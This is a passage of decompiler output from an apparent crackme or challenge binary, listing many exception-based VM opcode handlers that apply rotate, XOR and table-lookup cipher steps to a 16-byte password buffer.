v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 97;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (00000000000083C4) ----------------------------------------------------
void __noreturn opcode_89()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 31;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (000000000000844C) ----------------------------------------------------
void __noreturn opcode_41()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[23] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 83;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (00000000000084F2) ----------------------------------------------------
void __noreturn opcode_37()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[4] = xxx_3;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 108;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000008578) ----------------------------------------------------
void __noreturn opcode_69()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[31] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 111;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000861E) ----------------------------------------------------
void __noreturn opcode_4()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[13] = BYTE1(xxx_1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 38;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (00000000000086A8) ----------------------------------------------------
void __noreturn opcode_66()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 78;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000008730) ----------------------------------------------------
void __noreturn opcode_88()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[24] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 123;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (00000000000087D2) ----------------------------------------------------
void __noreturn opcode_91()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_2) + 576LL] ^ the_constants[BYTE1(xxx_2) + 320LL] ^ the_constants[(unsigned __int8)xxx_2 + 64LL] ^ the_constants[((unsigned int)xxx_2 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 52;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
//----- (00000000000088CE) ----------------------------------------------------
void __noreturn opcode_71()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[2] = BYTE2(xxx_2);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 45;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000008958) ----------------------------------------------------
void __noreturn opcode_52()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 30;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008A54) ----------------------------------------------------
void __noreturn opcode_82()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[38] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 70;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008AFA) ----------------------------------------------------
void __noreturn opcode_51()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = (((unsigned __int8)pass_16_buf[3] << 24) | ((unsigned __int8)pass_16_buf[2] << 16) | *(unsigned __int16 *)pass_16_buf) ^ *the_constants;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 106;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000008BBC) ----------------------------------------------------
void __noreturn opcode_115()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[12] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 13;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008C5E) ----------------------------------------------------
void __noreturn opcode_67()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 82;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008D5A) ----------------------------------------------------
void __noreturn opcode_99()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[16] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 11;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008DFC) ----------------------------------------------------
void __noreturn opcode_23()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[5];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 105;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000008E8E) ----------------------------------------------------
void __noreturn opcode_85()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 ^= the_constants[14] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 54;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008F30) ----------------------------------------------------
void __noreturn opcode_24()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[15] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 116;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000008FD6) ----------------------------------------------------
void __noreturn opcode_116()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_0 = the_constants[BYTE2(xxx_0) + 576LL] ^ the_constants[BYTE1(xxx_0) + 320LL] ^ the_constants[(unsigned __int8)xxx_0 + 64LL] ^ the_constants[((unsigned int)xxx_0 >> 24) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 64;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
// 2131D0: using guessed type int helper_0;
//----- (00000000000090D2) ----------------------------------------------------
void __noreturn opcode_47()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 3;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (000000000000915A) ----------------------------------------------------
void __noreturn opcode_20()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 59;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
//----- (00000000000091D4) ----------------------------------------------------
void __noreturn opcode_57()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 100;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (000000000000925C) ----------------------------------------------------
void __noreturn opcode_72()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 ^= the_constants[7];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 16;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (00000000000092EE) ----------------------------------------------------
void __noreturn opcode_60()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[15] = HIBYTE(xxx_1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 65;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000009378) ----------------------------------------------------
void __noreturn opcode_79()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_1 = __ROL4__(xxx_1, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 14;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (0000000000009400) ----------------------------------------------------
void __noreturn opcode_102()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 118;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000009488) ----------------------------------------------------
void __noreturn opcode_12()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[32] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 39;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (000000000000952E) ----------------------------------------------------
void __noreturn opcode_38()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[14] = BYTE2(xxx_1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 60;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C4: using guessed type int xxx_1;
//----- (00000000000095B8) ----------------------------------------------------
void __noreturn opcode_97()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 = __ROL4__(xxx_3, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 27;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
//----- (0000000000009640) ----------------------------------------------------
void __noreturn opcode_61()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 ^= the_constants[8] + helper_1 + helper_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 102;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (00000000000096E2) ----------------------------------------------------
void __noreturn opcode_40()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_3 ^= the_constants[21] + helper_0 + 2 * helper_1;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 34;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D0: using guessed type int helper_0;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009788) ----------------------------------------------------
void __noreturn opcode_39()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_2 = __ROR4__(xxx_2, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 6;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C8: using guessed type int xxx_2;
//----- (0000000000009810) ----------------------------------------------------
void __noreturn opcode_96()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
xxx_0 = __ROR4__(xxx_0, 1);
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 8;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131C0: using guessed type int xxx_0;
//----- (0000000000009898) ----------------------------------------------------
void __noreturn opcode_32()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
helper_1 = the_constants[BYTE1(xxx_3) + 576LL] ^ the_constants[(unsigned __int8)xxx_3 + 320LL] ^ the_constants[((unsigned int)xxx_3 >> 24) + 64LL] ^ the_constants[BYTE2(xxx_3) + 832LL];
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 42;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
// 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD);
// 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD);
// 2131CC: using guessed type int xxx_3;
// 2131D4: using guessed type int helper_1;
//----- (0000000000009994) ----------------------------------------------------
void __noreturn opcode_110()
{
_QWORD *v0; // rax
struct _Unwind_Exception *v1; // rax
struct _Unwind_Exception *v2; // rbx
v0 = (_QWORD *)__cxa_allocate_exception(8LL);
sub_57F8(v0);
__cxa_begin_catch(&std::exception::~exception);
some_shitty_16[8] = xxx_0;
v1 = (struct _Unwind_Exception *)__cxa_allocate_exception(4LL);
v1->exception_class = 114;
v2 = v1;
__cxa_end_catch(v1);
_Unwind_Resume(v2);
}
// 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD);
